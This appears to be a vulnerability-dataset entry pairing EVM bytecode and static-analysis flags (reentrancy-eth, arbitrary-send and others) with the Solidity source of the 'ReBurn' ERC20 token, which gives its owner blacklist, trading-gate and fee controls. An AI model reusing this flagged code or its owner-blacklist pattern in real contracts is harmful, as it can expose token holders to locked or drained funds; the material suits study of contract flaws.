8616e207a65726f60b81b6064820152608401610710565b6001600160a01b03821660009081526009602052604090205460ff16156110cb5760405162461bcd60e51b815260040161071090612016565b6001600160a01b03831660009081526009602052604090205460ff16156111045760405162461bcd60e51b815260040161071090612016565b3360009081526009602052604090205460ff16156111345760405162461bcd60e51b815260040161071090612016565b6000546001600160a01b0384811691161480159061116057506000546001600160a01b03838116911614155b156114c057601754600160a01b900460ff166111be5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610710565b6017546001600160a01b0383811691161480156111e957506016546001600160a01b03848116911614155b1561129b576001600160a01b038216301480159061121057506001600160a01b0383163014155b801561122a57506015546001600160a01b03838116911614155b801561124457506015546001600160a01b03848116911614155b1561129b5760185481111561129b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610710565b6017546001600160a01b038381169116148015906112c757506015546001600160a01b03838116911614155b80156112dc57506001600160a01b0382163014155b80156112f357506001600160a01b03821661dead14155b156113ba5760185481111561134a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610710565b6019548161135784610940565b61136191906120ae565b106113ba5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610710565b60006113c530610940565b601a5490915081118080156113e45750601754600160a81b900460ff16155b80156113fe57506017546001600160a01b03868116911614155b80156114135750601754600160b01b900460ff165b801561143857506001600160a01b03851660009081526006602052604090205460ff16155b801561145d57506001600160a01b03841660009081526006602052604090205460ff16155b156114bd57601154600090156114985761148d60646114876011548661189790919063ffffffff16565b90611916565b905061149881611958565b6114aa6114a58285612107565b61170e565b4780156114ba576114ba47611650565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061150257506001600160a01b03831660009081526006602052604090205460ff165b8061153457506017546001600160a01b0385811691161480159061153457506017546001600160a01b03848116911614155b1561154157506000611604565b6017546001600160a01b03858116911614801561156c57506016546001600160a01b03848116911614155b156115c7576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156115c7576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115f257506016546001600160a01b03858116911614155b1561160457600d54600f55600e546010555b61161084848484611965565b50505050565b6000818484111561163a5760405162461bcd60e51b81526004016107109190611f8c565b5060006116478486612107565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610781573d6000803e3d6000fd5b60006007548211156116f15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610710565b60006116fb611999565b90506117078382611916565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117565761175661214f565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117aa57600080fd5b505afa1580156117be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e29190611da0565b816001815181106117f5576117f561214f565b6001600160a01b03928316602091820292909201015260165461181b9130911684610e46565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061185490859060009086903090429060040161203d565b600060405180830381600087803b15801561186e57600080fd5b505af1158015611882573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826118a657506000610677565b60006118b283856120e8565b9050826118bf85836120c6565b146117075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610710565b600061170783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119bc565b6107f13061dead83610f6a565b80611972576119726119ea565b61197d848484611a2f565b8061161057611610601254600f55601354601055601454601155565b60008060006119a6611b26565b90925090506119b58282611916565b9250505090565b600081836119dd5760405162461bcd60e51b81526004016107109190611f8c565b50600061164784866120c6565b600f541580156119fa5750601054155b8015611a065750601154155b15611a0d57565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a4187611b68565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a739087611bc5565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611aa29086611c07565b6001600160a01b038916600090815260026020526040902055611ac481611c66565b611ace8483611cb0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b1391815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611b428282611916565b821015611b5f5750506007549268056bc75e2d6310000092509050565b90939092509050565b6000806000806000806000806000611b858a600f54601054611cd4565b9250925092506000611b95611999565b90506000806000611ba88e878787611d23565b919e509c509a509598509396509194505050505091939550919395565b600061170783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611616565b600080611c1483856120ae565b9050838110156117075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610710565b6000611c70611999565b90506000611c7e8383611897565b30600090815260026020526040902054909150611c9b9082611c07565b30600090815260026020526040902055505050565b600754611cbd9083611bc5565b600755600854611ccd9082611c07565b6008555050565b6000808080611ce860646114878989611897565b90506000611cfb60646114878a89611897565b90506000611d1382611d0d8b86611bc5565b90611bc5565b9992985090965090945050505050565b6000808080611d328886611897565b90506000611d408887611897565b90506000611d4e8888611897565b90506000611d6082611d0d8686611bc5565b939b939a50919850919650505050505050565b8035611d7e8161217b565b919050565b600060208284031215611d9557600080fd5b81356117078161217b565b600060208284031215611db257600080fd5b81516117078161217b565b60008060408385031215611dd057600080fd5b8235611ddb8161217b565b91506020830135611deb8161217b565b809150509250929050565b600080600060608486031215611e0b57600080fd5b8335611e168161217b565b92506020840135611e268161217b565b929592945050506040919091013590565b60008060408385031215611e4a57600080fd5b8235611e558161217b565b946020939093013593505050565b60006020808385031215611e7657600080fd5b823567ffffffffffffffff80821115611e8e57600080fd5b818501915085601f830112611ea257600080fd5b813581811115611eb457611eb4612165565b8060051b604051601f19603f83011681018181108582111715611ed957611ed9612165565b604052828152858101935084860182860187018a1015611ef857600080fd5b600095505b83861015611f2257611f0e81611d73565b855260019590950194938601938601611efd565b5098975050505050505050565b600060208284031215611f4157600080fd5b8135801515811461170757600080fd5b600060208284031215611f6357600080fd5b5035919050565b60008060408385031215611f7d57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611fb957858101830151858201604001528201611f9d565b81811115611fcb576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561208d5784516001600160a01b031683529383019391830191600101612068565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120c1576120c1612139565b500190565b6000826120e357634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561210257612102612139565b500290565b60008282101561211957612119612139565b500390565b600060001982141561213257612132612139565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e877c614a4a8f522fd8f2a7e144a2b87c90d982973122197c1726a9ee36db13864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,689 |
0x33472a10b163045467a0a7e0f40ce2f0d11c2d27
|
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ReBurn is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ReBurn";
string private constant _symbol = "REBURN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xac6838D8f3DE65EdB72B46ED65e1c6bF4312bFD3);
address payable private _marketingAddress = payable(0xeEa6b80C54ba6457E5CD879e32F66224a5Fc9da2);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000000 * 10**9;
uint256 public _maxWalletSize = 1000000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "Max Transaction Limit");
require(!bots[from] && !bots[to], "Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function startTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610549578063dd62ed3e14610569578063ea1644d5146105af578063f2fde38b146105cf57600080fd5b8063a2a957bb146104c4578063a9059cbb146104e4578063bfd7928414610504578063c3c8cd801461053457600080fd5b80638da5cb5b116100d15780638da5cb5b146104415780638f9a55c01461045f57806395d89b411461047557806398a5c315146104a457600080fd5b806374010ece146103de5780637d1db4a5146103fe5780637f2feddc1461041457600080fd5b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103745780636fc3eaec1461039457806370a08231146103a9578063715018a6146103c957600080fd5b80632fd689e314610302578063313ce5671461031857806349bd5a5e146103345780636b9990531461035457600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cd578063293230b8146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ac0565b6105ef565b005b34801561020a57600080fd5b506040805180820190915260068152652932a13ab93760d11b60208201525b6040516102369190611b85565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611bda565b61068e565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50683635c9adc5dea000005b604051908152602001610236565b3480156102d957600080fd5b5061025f6102e8366004611c06565b6106a5565b3480156102f957600080fd5b506101fc61070e565b34801561030e57600080fd5b506102bf60185481565b34801561032457600080fd5b5060405160098152602001610236565b34801561034057600080fd5b5060155461028f906001600160a01b031681565b34801561036057600080fd5b506101fc61036f366004611c47565b61074d565b34801561038057600080fd5b506101fc61038f366004611c74565b610798565b3480156103a057600080fd5b506101fc6107e0565b3480156103b557600080fd5b506102bf6103c4366004611c47565b61082b565b3480156103d557600080fd5b506101fc61084d565b3480156103ea57600080fd5b506101fc6103f9366004611c8f565b6108c1565b34801561040a57600080fd5b506102bf60165481565b34801561042057600080fd5b506102bf61042f366004611c47565b60116020526000908152604090205481565b34801561044d57600080fd5b506000546001600160a01b031661028f565b34801561046b57600080fd5b506102bf60175481565b34801561048157600080fd5b506040805180820190915260068152652922a12aa92760d11b6020820152610229565b3480156104b057600080fd5b506101fc6104bf366004611c8f565b610900565b3480156104d057600080fd5b506101fc6104df366004611ca8565b61092f565b3480156104f057600080fd5b5061025f6104ff366004611bda565b610ae5565b34801561051057600080fd5b5061025f61051f366004611c47565b60106020526000908152604090205460ff1681565b34801561054057600080fd5b506101fc610af2565b34801561055557600080fd5b506101fc610564366004611cda565b610b46565b34801561057557600080fd5b506102bf610584366004611d5e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105bb57600080fd5b506101fc6105ca366004611c8f565b610be7565b3480156105db57600080fd5b506101fc6105ea366004611c47565b610c16565b6000546001600160a01b031633146106225760405162461bcd60e51b815260040161061990611d97565b60405180910390fd5b60005b815181101561068a5760016010600084848151811061064657610646611dcc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068281611df8565b915050610625565b5050565b600061069b338484610d00565b5060015b92915050565b60006106b2848484610e24565b61070484336106ff85604051806060016040528060288152602001611f12602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061134c565b610d00565b5060019392505050565b6000546001600160a01b031633146107385760405162461bcd60e51b815260040161061990611d97565b6015805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107775760405162461bcd60e51b815260040161061990611d97565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107c25760405162461bcd60e51b815260040161061990611d97565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061081557506013546001600160a01b0316336001600160a01b0316145b61081e57600080fd5b4761082881611386565b50565b6001600160a01b03811660009081526002602052604081205461069f906113c0565b6000546001600160a01b031633146108775760405162461bcd60e51b815260040161061990611d97565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161061990611d97565b674563918244f4000081111561082857601655565b6000546001600160a01b0316331461092a5760405162461bcd60e51b815260040161061990611d97565b601855565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161061990611d97565b60048411156109b85760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610619565b6014821115610a145760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610619565b6004831115610a745760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610619565b6014811115610ad15760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610619565b600893909355600a91909155600955600b55565b600061069b338484610e24565b6012546001600160a01b0316336001600160a01b03161480610b2757506013546001600160a01b0316336001600160a01b0316145b610b3057600080fd5b6000610b3b3061082b565b905061082881611444565b6000546001600160a01b03163314610b705760405162461bcd60e51b815260040161061990611d97565b60005b82811015610be1578160056000868685818110610b9257610b92611dcc565b9050602002016020810190610ba79190611c47565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bd981611df8565b915050610b73565b50505050565b6000546001600160a01b03163314610c115760405162461bcd60e51b815260040161061990611d97565b601755565b6000546001600160a01b03163314610c405760405162461bcd60e51b815260040161061990611d97565b6001600160a01b038116610ca55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610619565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610619565b6001600160a01b038216610dc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610619565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610619565b6001600160a01b038216610eea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610619565b60008111610f4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610619565b6000546001600160a01b03848116911614801590610f7857506000546001600160a01b03838116911614155b1561124557601554600160a01b900460ff16611011576000546001600160a01b038481169116146110115760405162461bcd60e51b815260206004820152603860248201527f54686973206163636f756e742063616e6e6f742073656e6420746f6b656e732060448201527f756e74696c2074726164696e6720697320656e61626c656400000000000000006064820152608401610619565b60165481111561105b5760405162461bcd60e51b815260206004820152601560248201527413585e08151c985b9cd858dd1a5bdb88131a5b5a5d605a1b6044820152606401610619565b6001600160a01b03831660009081526010602052604090205460ff1615801561109d57506001600160a01b03821660009081526010602052604090205460ff16155b6110e95760405162461bcd60e51b815260206004820152601c60248201527f596f7572206163636f756e7420697320626c61636b6c697374656421000000006044820152606401610619565b6015546001600160a01b0383811691161461116e576017548161110b8461082b565b6111159190611e13565b1061116e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610619565b60006111793061082b565b6018546016549192508210159082106111925760165491505b8080156111a95750601554600160a81b900460ff16155b80156111c357506015546001600160a01b03868116911614155b80156111d85750601554600160b01b900460ff165b80156111fd57506001600160a01b03851660009081526005602052604090205460ff16155b801561122257506001600160a01b03841660009081526005602052604090205460ff16155b156112425761123082611444565b4780156112405761124047611386565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128757506001600160a01b03831660009081526005602052604090205460ff165b806112b957506015546001600160a01b038581169116148015906112b957506015546001600160a01b03848116911614155b156112c657506000611340565b6015546001600160a01b0385811691161480156112f157506014546001600160a01b03848116911614155b1561130357600854600c55600954600d555b6015546001600160a01b03848116911614801561132e57506014546001600160a01b03858116911614155b1561134057600a54600c55600b54600d555b610be1848484846115cd565b600081848411156113705760405162461bcd60e51b81526004016106199190611b85565b50600061137d8486611e2b565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561068a573d6000803e3d6000fd5b60006006548211156114275760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e2074